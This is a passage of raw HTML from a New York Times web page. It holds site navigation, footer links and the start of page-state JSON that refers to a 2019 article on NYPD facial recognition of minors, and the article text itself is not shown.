class="css-mzqdl" href="https://www.nytimes.com/video/opinion" data-testid="accordion-item-list-link">video: opinion</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-2" id="item-siteindex-2" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">arts</header><div class="css-1hyfx7x" id="body-siteindex-2" aria-labelledby="item-siteindex-2" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts" data-testid="accordion-item-list-link">today&#x27;s arts</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/design" data-testid="accordion-item-list-link">art &amp; design</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/books" data-testid="accordion-item-list-link">books</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/dance" data-testid="accordion-item-list-link">dance</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/movies" data-testid="accordion-item-list-link">movies</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/music" data-testid="accordion-item-list-link">music</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/spotlight/pop-culture" data-testid="accordion-item-list-link">Pop Culture</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/television" data-testid="accordion-item-list-link">television</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/theater" data-testid="accordion-item-list-link">theater</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/watching" data-testid="accordion-item-list-link">watching</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video/arts" data-testid="accordion-item-list-link">video: arts</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-3" id="item-siteindex-3" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">living</header><div class="css-1hyfx7x" id="body-siteindex-3" aria-labelledby="item-siteindex-3" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/automobiles" data-testid="accordion-item-list-link">automobiles</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://cooking.nytimes.com/" data-testid="accordion-item-list-link">Cooking</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/crosswords" data-testid="accordion-item-list-link">crossword</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/education" data-testid="accordion-item-list-link">education</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/food" data-testid="accordion-item-list-link">food</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/health" data-testid="accordion-item-list-link">health</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/jobs" data-testid="accordion-item-list-link">jobs</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/magazine" data-testid="accordion-item-list-link">magazine</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://parenting.nytimes.com/" data-testid="accordion-item-list-link">parenting</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/realestate" data-testid="accordion-item-list-link">real estate</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/style" data-testid="accordion-item-list-link">style</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/t-magazine" data-testid="accordion-item-list-link">t magazine</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/travel" data-testid="accordion-item-list-link">travel</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/fashion/weddings" data-testid="accordion-item-list-link">love</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-4" id="item-siteindex-4" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">listings &amp; more</header><div class="css-1hyfx7x" id="body-siteindex-4" aria-labelledby="item-siteindex-4" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/reader-center" data-testid="accordion-item-list-link">Reader Center</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://thewirecutter.com" data-testid="accordion-item-list-link">Wirecutter</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="http://nytconferences.com/" data-testid="accordion-item-list-link">Live Events</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/learning" data-testid="accordion-item-list-link">The Learning Network</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="http://www.nytimes.com/marketing/tools-and-services" data-testid="accordion-item-list-link">tools &amp; services</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/events" data-testid="accordion-item-list-link">N.Y.C. events guide</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/multimedia" data-testid="accordion-item-list-link">multimedia</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/lens" data-testid="accordion-item-list-link">photography</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video" data-testid="accordion-item-list-link">video</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/newsletters" data-testid="accordion-item-list-link">Newsletters</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/store" data-testid="accordion-item-list-link">NYT store</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/times-journeys" data-testid="accordion-item-list-link">times journeys</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://myaccount.nytimes.com/membercenter/myaccount.html" data-testid="accordion-item-list-link">manage my account</a></li></ul></div></div></div></div><div class="css-v0l3hm" data-testid="site-index-sections"><div class="css-g4gku8" data-testid="site-index-section"><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-0"><h3 class="css-rxqrcl" id="site-index-section-label-0">news</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com" data-testid="site-index-section-list-link">home page</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/world" data-testid="site-index-section-list-link">world</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/us" data-testid="site-index-section-list-link">U.S.</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/politics" data-testid="site-index-section-list-link">politics</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/news-event/2020-election" data-testid="site-index-section-list-link">Election 2020</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/nyregion" data-testid="site-index-section-list-link">New York</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/business" data-testid="site-index-section-list-link">business</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/technology" data-testid="site-index-section-list-link">tech</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/science" data-testid="site-index-section-list-link">science</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/section/climate" data-testid="site-index-section-list-link">climate</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/sports" data-testid="site-index-section-list-link">sports</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/obituaries" data-testid="site-index-section-list-link">obituaries</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/section/upshot" data-testid="site-index-section-list-link">the upshot</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/todayspaper" data-testid="site-index-section-list-link">today&#x27;s paper</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/corrections" data-testid="site-index-section-list-link">corrections</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-1"><h3 class="css-rxqrcl" id="site-index-section-label-1">opinion</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion" data-testid="site-index-section-list-link">today&#x27;s opinion</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/columnists" data-testid="site-index-section-list-link">op-ed columnists</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/editorials" data-testid="site-index-section-list-link">editorials</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/contributors" data-testid="site-index-section-list-link">op-ed Contributors</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/letters" data-testid="site-index-section-list-link">letters</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/opinion/sunday" data-testid="site-index-section-list-link">sunday review</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video/opinion" data-testid="site-index-section-list-link">video: opinion</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-2"><h3 class="css-rxqrcl" id="site-index-section-label-2">arts</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts" data-testid="site-index-section-list-link">today&#x27;s arts</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/design" data-testid="site-index-section-list-link">art &amp; design</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/books" data-testid="site-index-section-list-link">books</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/dance" data-testid="site-index-section-list-link">dance</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/movies" data-testid="site-index-section-list-link">movies</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/music" data-testid="site-index-section-list-link">music</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/spotlight/pop-culture" data-testid="site-index-section-list-link">Pop Culture</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/arts/television" data-testid="site-index-section-list-link">television</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/theater" data-testid="site-index-section-list-link">theater</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://www.nytimes.com/watching" data-testid="site-index-section-list-link">watching</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video/arts" data-testid="site-index-section-list-link">video: arts</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-3"><h3 class="css-rxqrcl" id="site-index-section-label-3">living</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/automobiles" data-testid="site-index-section-list-link">automobiles</a></li><li class="css-ist4u3 smartphone"><a class="css-kwpx34" href="https://cooking.nytimes.com/" data-testid="site-index-section-list-link">Cooking</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/crosswords" data-testid="site-index-section-list-link">crossword</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/education" data-testid="site-index-section-list-link">education</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/food" data-testid="site-index-section-list-link">food</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/health" data-testid="site-index-section-list-link">health</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/jobs" data-testid="site-index-section-list-link">jobs</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/magazine" data-testid="site-index-section-list-link">magazine</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://parenting.nytimes.com/" data-testid="site-index-section-list-link">parenting</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/realestate" data-testid="site-index-section-list-link">real estate</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/style" data-testid="site-index-section-list-link">style</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/t-magazine" data-testid="site-index-section-list-link">t magazine</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/travel" data-testid="site-index-section-list-link">travel</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/fashion/weddings" data-testid="site-index-section-list-link">love</a></li></ul></section><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-4"><h3 class="css-rxqrcl" id="site-index-section-label-4">more</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/reader-center" data-testid="site-index-section-list-link">Reader Center</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://thewirecutter.com" data-testid="site-index-section-list-link">Wirecutter</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="http://nytconferences.com/" data-testid="site-index-section-list-link">Live Events</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/learning" data-testid="site-index-section-list-link">The Learning Network</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="http://www.nytimes.com/marketing/tools-and-services" data-testid="site-index-section-list-link">tools &amp; services</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/events" data-testid="site-index-section-list-link">N.Y.C. events guide</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/multimedia" data-testid="site-index-section-list-link">multimedia</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/lens" data-testid="site-index-section-list-link">photography</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/video" data-testid="site-index-section-list-link">video</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/newsletters" data-testid="site-index-section-list-link">Newsletters</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/store" data-testid="site-index-section-list-link">NYT store</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/times-journeys" data-testid="site-index-section-list-link">times journeys</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://myaccount.nytimes.com/membercenter/myaccount.html" data-testid="site-index-section-list-link">manage my account</a></li></ul></section><div class="css-6xhk3s" aria-labelledby="site-index-subscribe-label"><h3 class="css-rxqrcl" id="site-index-subscribe-label">Subscribe</h3><ul class="css-1iruc8t" data-testid="site-index-subscribe-list"><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/hdleftnav" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 14 13" fill="#000"><path d="M13.1,11.7H3.5V1.2h9.6V11.7zM13.1,0.4H3.5C3,0.4,2.6,0.8,2.6,1.2v2.2H0.9C0.4,3.4,0,3.8,0,4.3v5.2v1.5c0,0.8,0.8,1.5,1.8,1.5h1.7h0h7.4h2.2c0.5,0,0.9-0.4,0.9-0.9V1.2C14,0.8,13.6,0.4,13.1,0.4"></path><polygon points="10.9,3 5.2,3 5.2,3.9 11.4,3.9 11.4,3"></polygon><rect x="5.2" y="4.7" width="6.1" height="0.9"></rect><rect x="5.2" y="6.5" width="6.1" height="0.9"></rect></svg>home delivery</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/digitalleftnav" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 10 13"><path fill="#000" d="M9.9,8c-0.4,1.1-1.2,1.9-2.3,2.4V8l1.3-1.2L7.6,5.7V4c1.2-0.1,2-1,2-2c0-1.4-1.3-1.9-2.1-1.9c-0.2,0-0.3,0-0.6,0.1v0.1c0.1,0,0.2,0,0.3,0c0.5,0,0.9,0.2,0.9,0.7c0,0.4-0.3,0.7-0.8,0.7C6,1.7,4.5,0.6,2.8,0.6c-1.5,0-2.5,1.1-2.5,2.2C0.3,4,1,4.3,1.6,4.6l0-0.1C1.4,4.4,1.3,4.1,1.3,3.8c0-0.5,0.5-0.9,1-0.9C3.7,2.9,6,4,7.4,4h0.1v1.7L6.2,6.8L7.5,8v2.4c-0.5,0.2-1.1,0.3-1.7,0.3c-2.2,0-3.6-1.3-3.6-3.5c0-0.5,0.1-1,0.2-1.5l1.1-0.5V10l2.2-1v-5L2.5,5.5c0.3-1,1-1.7,1.8-2l0,0C2.2,3.9,0.1,5.6,0.1,8c0,2.9,2.4,4.8,5.2,4.8C8.2,12.9,9.9,10.9,9.9,8L9.9,8z"></path></svg>digital subscriptions</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/subscription/games/lp897H9.html" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 13 13" fill="#000"><polygon points="0,-93.6 0,-86.9 6.6,-93.6"></polygon><polygon points="0.9,-86 7.5,-86 7.5,-92.6"></polygon><polygon points="0,-98 0,-94.8 8.8,-94.8 8.8,-86 12,-86 12,-98"></polygon><path d="M11.9-40c-0.4,1.1-1.2,1.9-2.3,2.4V-40l1.3-1.2l-1.3-1.2V-44c1.2-0.1,2-1,2-2c0-1.4-1.3-1.9-2.1-1.9c-0.2,0-0.3,0-0.6,0.1v0.1c0.1,0,0.2,0,0.3,0c0.5,0,0.9,0.2,0.9,0.7c0,0.4-0.3,0.7-0.8,0.7c-1.3,0-2.8-1.1-4.5-1.1c-1.5,0-2.5,1.1-2.5,2.2c0,1.1,0.6,1.5,1.3,1.7l0-0.1c-0.2-0.1-0.4-0.4-0.4-0.7c0-0.5,0.5-0.9,1-0.9C5.7-45.1,8-44,9.4-44h0.1v1.7l-1.3,1.1L9.5-40v2.4c-0.5,0.2-1.1,0.3-1.7,0.3c-2.2,0-3.6-1.3-3.6-3.5c0-0.5,0.1-1,0.2-1.5l1.1-0.5v4.9l2.2-1v-5l-3.3,1.5c0.3-1,1-1.7,1.8-2l0,0c-2.2,0.5-4.3,2.1-4.3,4.6c0,2.9,2.4,4.8,5.2,4.8C10.2-35.1,11.9-37.1,11.9-40L11.9-40z"></path><path d="M12.2-23.7c-0.2,0-0.4,0.2-0.4,0.4v0.4L0.4-19.1v2.3l3,1l-0.2,0.6c-0.3,0.8,0.1,1.8,0.9,2.1l1.7,0.7c0.2,0.1,0.4,0.1,0.6,0.1c0.6,0,1.3-0.4,1.5-1l0.4-0.9l3.5,1.2v0.4c0,0.2,0.2,0.4,0.4,0.4c0.2,0,0.4-0.2,0.4-0.4v-10.7C12.6-23.5,12.4-23.7,12.2-23.7M7.1-13.6c-0.2,0.4-0.6,0.6-1,0.4l-1.7-0.7c-0.4-0.2-0.6-0.6-0.4-1l0.3-0.7l3.3,1.1L7.1-13.6z"></path><path d="M13.1-60.3H3.5v-10.5h9.6V-60.3zM13.1-71.6H3.5c-0.5,0-0.9,0.4-0.9,0.9v2.2H0.9c-0.5,0-0.9,0.4-0.9,0.9v5.2v1.5c0,0.8,0.8,1.5,1.8,1.5h1.7h0h7.4h2.2c0.5,0,0.9-0.4,0.9-0.9v-10.5C14-71.2,13.6-71.6,13.1-71.6"></path><polygon points="10.9,-69 5.2,-69 5.2,-68.1 11.4,-68.1 11.4,-69"></polygon><rect x="5.2" y="-67.3" width="6.1" height="0.9"></rect><rect x="5.2" y="-65.5" width="6.1" height="0.9"></rect><path d="M12,6.5H6.5V12H1V6.5h5.5V1H12V6.5zM12,0H1C0.4,0,0,0.5,0,1v11c0,0.6,0.4,1,1,1h11c0.5,0,1-0.4,1-1V1C13,0.5,12.5,0,12,0"></path></svg>Crossword</a></li><li class="css-tj0ten"><a class="css-1k2cjfc" href="https://www.nytimes.com/subscriptions/Multiproduct/lp8R3WU.html" data-testid="site-index-subscribe-list-link"><svg class="css-r5ic95" viewBox="0 0 13 13" fill="#000"><path d="M12,2.9L9.6,5.2c-0.1,0.1-0.3,0.1-0.4,0C9.1,5.2,9.1,5,9.3,4.9l2.4-2.4c-0.2-0.2-0.3-0.3-0.5-0.5L8.7,4.3c-0.1,0.1-0.3,0.1-0.4,0C8.2,4.3,8.2,4.1,8.4,4l2.4-2.4c-0.3-0.3-0.5-0.5-0.5-0.5L7.6,3.4C7.1,4,6.8,5.1,7.1,5.8c-1.4,1-4.6,3.5-5.1,4c-0.8,0.8-0.4,1.8-0.3,1.9c0,0,0,0,0,0c0,0,0,0,0,0c0.1,0.1,1.1,0.5,1.9-0.3c0.4-0.4,2.9-3.6,3.9-5C8.4,6.9,9.6,6.6,10.2,6l2.3-2.6C12.5,3.4,12.3,3.2,12,2.9z"></path><path d="M0.8,1.9l0.3-0.3c0.9-0.9,3.2,1.1,3.8,1.7s0.9,1.8,0.4,2.6c1.4,1.1,4.6,3.5,5,3.9c0.8,0.8,0.4,1.8,0.3,1.9c0,0,0,0,0,0c0,0,0,0,0,0c-0.1,0.1-1.1,0.5-1.9-0.3c-0.4-0.4-2.9-3.7-4-5.1C3.9,6.7,2.9,6.4,2.3,5.8S-0.2,2.9,0.8,1.9z"></path></svg>Cooking</a></li></ul><ul class="css-1iruc8t" data-testid="site-index-corporate-links"><li><a class="css-1vhk1ks" href="https://www.nytimes.com/marketing/newsletters">email newsletters</a></li><li><a class="css-1vhk1ks" href="https://www.nytimes.com/corporateleftnav">corporate subscriptions</a></li><li><a class="css-1vhk1ks" href="https://www.nytimes.com/educationleftnav">education rate</a></li></ul><ul class="css-6td9kr" data-testid="site-index-alternate-links"><li><a class="css-1vhk1ks" href="https://www.nytimes.com/services/mobile/index.html">mobile applications</a></li><li><a class="css-1vhk1ks" href="http://eedition.nytimes.com/cgi-bin/signup.cgi?cc=37FYY">replica edition</a></li></ul></div></div></div></div></nav><footer role="contentinfo" class="css-1qmnftd e5u916q0"><nav data-testid="footer" class="css-15uy5yv"><h2 class="css-vz7hjd">Site Information Navigation</h2><ul class="css-1ho5u4o e5u916q1"><li data-testid="copyright"><a class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/copyright/copyright-notice.html">© <span itemProp="copyrightYear">2019</span><span itemProp="publisher copyrightHolder provider sourceOrganization" itemscope="" itemType="http://schema.org/NewsMediaOrganization" itemID="https://www.nytimes.com"> <meta itemProp="diversityPolicy" content="https://www.nytco.com/diversity-and-inclusion-at-the-new-york-times/"/><meta itemProp="ethicsPolicy" content="https://www.nytco.com/who-we-are/culture/standards-and-ethics/"/><meta itemProp="foundingDate" content="1851-09-18"/><span itemProp="logo" itemscope="" itemType="https://schema.org/ImageObject"><meta itemProp="url" content="https://static01.nyt.com/images/misc/NYT_logo_rss_250x40.png"/></span><meta itemProp="url" content="https://www.nytimes.com/"/><meta itemProp="masthead" content="https://www.nytimes.com/interactive/2018/09/28/admin/the-new-york-times-masthead.html"/><meta itemProp="name" content="The New York Times"/><span>The New York Times Company</span></span></a></li></ul><ul class="css-13o0c9t e5u916q2"><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://myaccount.nytimes.com/membercenter/feedback.html">Contact Us</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://www.nytco.com/careers">Work with us</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://nytmediakit.com/">Advertise</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://www.tbrandstudio.com/">T Brand Studio</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/privacy/policy/privacy-policy.html#pp">Your Ad Choices</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/privacy">Privacy</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/ref/membercenter/help/agree.html">Terms of Service</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/content/help/rights/sale/terms-of-sale.html">Terms of Sale</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="http://spiderbites.nytimes.com">Site Map</a></li><li class="smartphone css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://mobile.nytimes.com/help">Help</a></li><li class="desktop css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/membercenter/sitehelp.html">Help</a></li><li class="css-1yo489b e5u916q3"><a data-testid="footer-link" class="css-1p8nkc0" href="https://www.nytimes.com/subscription/multiproduct/lp8HYKU?campaignId=37WXW">Subscriptions</a></li></ul></nav></footer></div></div></div></div>
+ <script>window.__preloadedData = {"initialState":{"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==":{"__typename":"Article","id":"QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==","compatibility":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.compatibility","typename":"CompatibilityFeatures"},"archiveProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.archiveProperties","typename":"ArticleArchiveProperties"},"collections@filterEmpty":[{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","typename":"LegacyCollection"}],"tone":"NEWS","section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==","typename":"Section"},"subsection":null,"sprinkledBody":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody","typename":"DocumentBlock"},"url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html","adTargetingParams({\"clientAdParams\":{\"edn\":\"us\",\"plat\":\"web\",\"prop\":\"nyt\"}})":[{"type":"id","generated":false,"id":"AdTargetingParam:als_test1565027040168","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:propnyt","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:platweb","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ednus","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:brandsensitivefalse","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:per","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:orgpolicedepartmentnyc","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:geonewyorkcity","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:desjuveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:spon","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:authaliwatkins,josephgoldstein","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:col","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:collnewyork,usnews,technology,techandsociety","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:artlenmedium","typename":"AdTa